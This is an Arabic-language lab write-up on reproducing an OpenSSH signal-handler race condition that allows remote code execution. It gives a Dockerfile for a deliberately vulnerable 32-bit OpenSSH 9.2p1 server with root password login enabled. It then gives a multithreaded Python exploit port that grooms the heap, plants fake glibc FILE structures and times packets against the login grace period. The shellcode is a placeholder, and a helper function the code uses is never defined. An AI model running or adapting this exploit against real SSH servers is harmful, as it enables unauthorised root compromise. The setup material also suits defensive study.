0. باختصار

هذه ثغرة إحصائية بطبيعتها: تتطلب عددًا كبيرًا من المحاولات للفوز في سباق الاستباق (race condition) وتنفيذ كود تعسفي بنجاح، وعلى المهاجم تجاوز العديد من العقبات»، قال شوارتز لـ SecurityWeek. «حتى في أفضل الحالات، تتطلب أشهر الثغرات أكثر من 4 ساعات للتشغيل.

في ملاحظات إصدار OpenSSH 9.8، أشار المطورون إلى أن الثغرة تم إثباتها فقط على أنظمة Linux 32-bit القائمة على glibc، وأشاروا إلى أن OpenBSD غير متأثر.

1. إعداد البيئة

يتم إعداد البيئة باستخدام Docker

1.1. كتابة Dockerfile

FROM i386/ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN dpkg --add-architecture i386 && apt-get update && apt-get install -y \
    build-essential \
    wget \
    curl \
    libssl-dev:i386 \
    zlib1g-dev:i386
RUN groupadd sshd && useradd -g sshd -s /bin/false sshd
RUN wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.2p1.tar.gz && \
    tar -xzf openssh-9.2p1.tar.gz && \
    cd openssh-9.2p1 && \
    ./configure && make && make install
RUN mkdir /var/run/sshd
RUN echo 'root:password' | chpasswd
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /usr/local/etc/sshd_config && \
    sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /usr/local/etc/sshd_config && \
    echo 'MaxStartups 100:30:200' >> /usr/local/etc/sshd_config
RUN echo '#!/bin/bash\n/usr/local/sbin/sshd -V' > /show_version.sh && \
    chmod +x /show_version.sh
EXPOSE 22
CMD ["/usr/local/sbin/sshd", "-D"]

1.2. بناء الصورة

sudo docker build --platform=linux/386 -t vulnerable-openssh:9.2p1 .

1.3. تشغيل حاوية Docker

sudo docker run --platform=linux/386 -d -p 2222:22 --name vuln-ssh-32bit vulnerable-openssh:9.2p1

1.4. التأكد من تشغيل خدمة ssh

docker exec -it vuln-ssh-32bit /bin/bash
ps aux | grep sshd

2. التحقق من الثغرة

2.1. C.poc

يوجد واحد على الإنترنت العام، لكنه يتطلب الترجمة (compilation)، والكود مرفق في الروابط ذات الصلة. قمت بتحويله إلى Python، وأضفت تعدد الخيوط (multithreading) للتوازي لزيادة سرعة الهجوم. كما أضفت حدًا أقصى لعدد مرات التشغيل يبلغ 100,000 مرة، ويخرج البرنامج بعد نجاح الهجوم.

2.2. python-poc

import socket
import time
import struct
import random
import os
from threading import Thread, Lock

MAX_PACKET_SIZE = 256 * 1024
LOGIN_GRACE_TIME = 120
GLIBC_BASES = [0xb7200000, 0xb7400000]
NUM_GLIBC_BASES = len(GLIBC_BASES)

shellcode = b"\x90\x90\x90\x90"  
attempts_lock = Lock()
attempts = 0
max_attempts = 100000
success = False

def setup_connection(ip, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setblocking(False)
    try:
        sock.connect((ip, port))
    except BlockingIOError:
        pass
    return sock

def send_packet(sock, packet_type, data):
    packet = struct.pack('>I', len(data) + 1) + struct.pack('B', packet_type) + data
    send_all(sock, packet)

def send_all(sock, data):
    total_sent = 0
    while total_sent < len(data):
        try:
            sent = sock.send(data[total_sent:])
            if sent == 0:
                raise RuntimeError("socket connection broken")
            total_sent += sent
        except BlockingIOError:
            time.sleep(0.01)  

def send_ssh_version(sock):
    ssh_version = b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n"
    send_all(sock, ssh_version)

def receive_ssh_version(sock):
    try:
        response = sock.recv(256)
        print("Received SSH version:", response)
        if b'Exceeded MaxStartups' in response:
            return False
        return True
    except BlockingIOError:
        return False

def send_kex_init(sock):
    kexinit_payload = b'\x00' * 36
    send_packet(sock, 20, kexinit_payload)

def receive_kex_init(sock):
    try:
        response = sock.recv(1024)
        print("Received KEX_INIT:", len(response), "bytes")
        return True
    except BlockingIOError:
        return False

def perform_ssh_handshake(sock):
    send_ssh_version(sock)
    if not receive_ssh_version(sock):
        print("Failed to receive SSH version")
        return False
    send_kex_init(sock)
    if not receive_kex_init(sock):
        print("Failed to receive KEX_INIT")
        return False
    return True

def prepare_heap(sock):
    for _ in range(10):
        tcache_chunk = b'A' * 64
        send_packet(sock, 5, tcache_chunk)

    for _ in range(27):
        large_hole = b'B' * 8192
        send_packet(sock, 5, large_hole)
        small_hole = b'C' * 320
        send_packet(sock, 5, small_hole)

    for _ in range(27):
        fake_data = create_fake_file_structure(GLIBC_BASES[0])
        send_packet(sock, 5, fake_data)

    large_string = b'E' * (MAX_PACKET_SIZE - 1)
    send_packet(sock, 5, large_string)

def create_fake_file_structure(glibc_base):
    data = b'\x00' * 4096
    fake_file = struct.pack('P' * 18, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x61, glibc_base + 0x21b740, glibc_base + 0x21d7f8)
    return data[:0x4c0] + fake_file + data[0x4c0 + len(fake_file):]

def time_final_packet(sock):
    start = time.time()
    measure_response_time(sock, 1)
    end = time.time()
    return end - start

def measure_response_time(sock, error_type):
    if error_type == 1:
        error_packet = b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3"
    else:
        error_packet = b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9"
    send_packet(sock, 50, error_packet)
    start = time.time()
    try:
        sock.recv(1024)
    except BlockingIOError:
        pass
    end = time.time()
    return end - start

def create_public_key_packet(glibc_base):
    packet = b'\x00' * MAX_PACKET_SIZE
    offset = 0
    for _ in range(27):
        packet = packet[:offset] + struct.pack('>I', CHUNK_ALIGN(4096)) + packet[offset + 4:]
        offset += CHUNK_ALIGN(4096)
        packet = packet[:offset] + struct.pack('>I', CHUNK_ALIGN(304)) + packet[offset + 4:]
        offset += CHUNK_ALIGN(304)
    packet = packet[:0] + b"ssh-rsa " + packet[8:]
    packet = packet[:CHUNK_ALIGN(4096) * 13 + CHUNK_ALIGN(304) * 13] + shellcode + packet[CHUNK_ALIGN(4096) * 13 + CHUNK_ALIGN(304) * 13 + len(shellcode):]
    for i in range(27):
        packet = packet[:CHUNK_ALIGN(4096) * (i + 1) + CHUNK_ALIGN(304) * i] + create_fake_file_structure(glibc_base) + packet[CHUNK_ALIGN(4096) * (i + 1) + CHUNK_ALIGN(304) * i + len(create_fake_file_structure(glibc_base)):]
    return packet

def attempt_race_condition(sock, parsing_time, glibc_base):
    final_packet = create_public_key_packet(glibc_base)
    send_all(sock, final_packet[:-1])
    time.sleep(LOGIN_GRACE_TIME - parsing_time - 0.001)
    send_all(sock, final_packet[-1:])
    try:
        response = sock.recv(1024)
        if response and response[:8] != b"SSH-2.0-":
            print("Possible hit on 'large' race window")
            return True
    except BlockingIOError:
        pass
    return False

def perform_exploit_thread(ip, port, glibc_base):
    global attempts
    global success

    while not success:
        with attempts_lock:
            if attempts >= max_attempts:
                break
            attempts += 1
            attempt = attempts

        print(f"Attempt {attempt} with glibc base 0x{glibc_base:x}")
        sock = setup_connection(ip, port)
        if not perform_ssh_handshake(sock):
            print(f"SSH handshake failed, attempt {attempt}")
            sock.close()
            time.sleep(0.5) 
            continue
        prepare_heap(sock)
        parsing_time = time_final_packet(sock)
        if attempt_race_condition(sock, parsing_time, glibc_base):
            print(f"Possible exploitation success on attempt {attempt} with glibc base 0x{glibc_base:x}!")
            success = True
            break
        sock.close()
        time.sleep(0.5)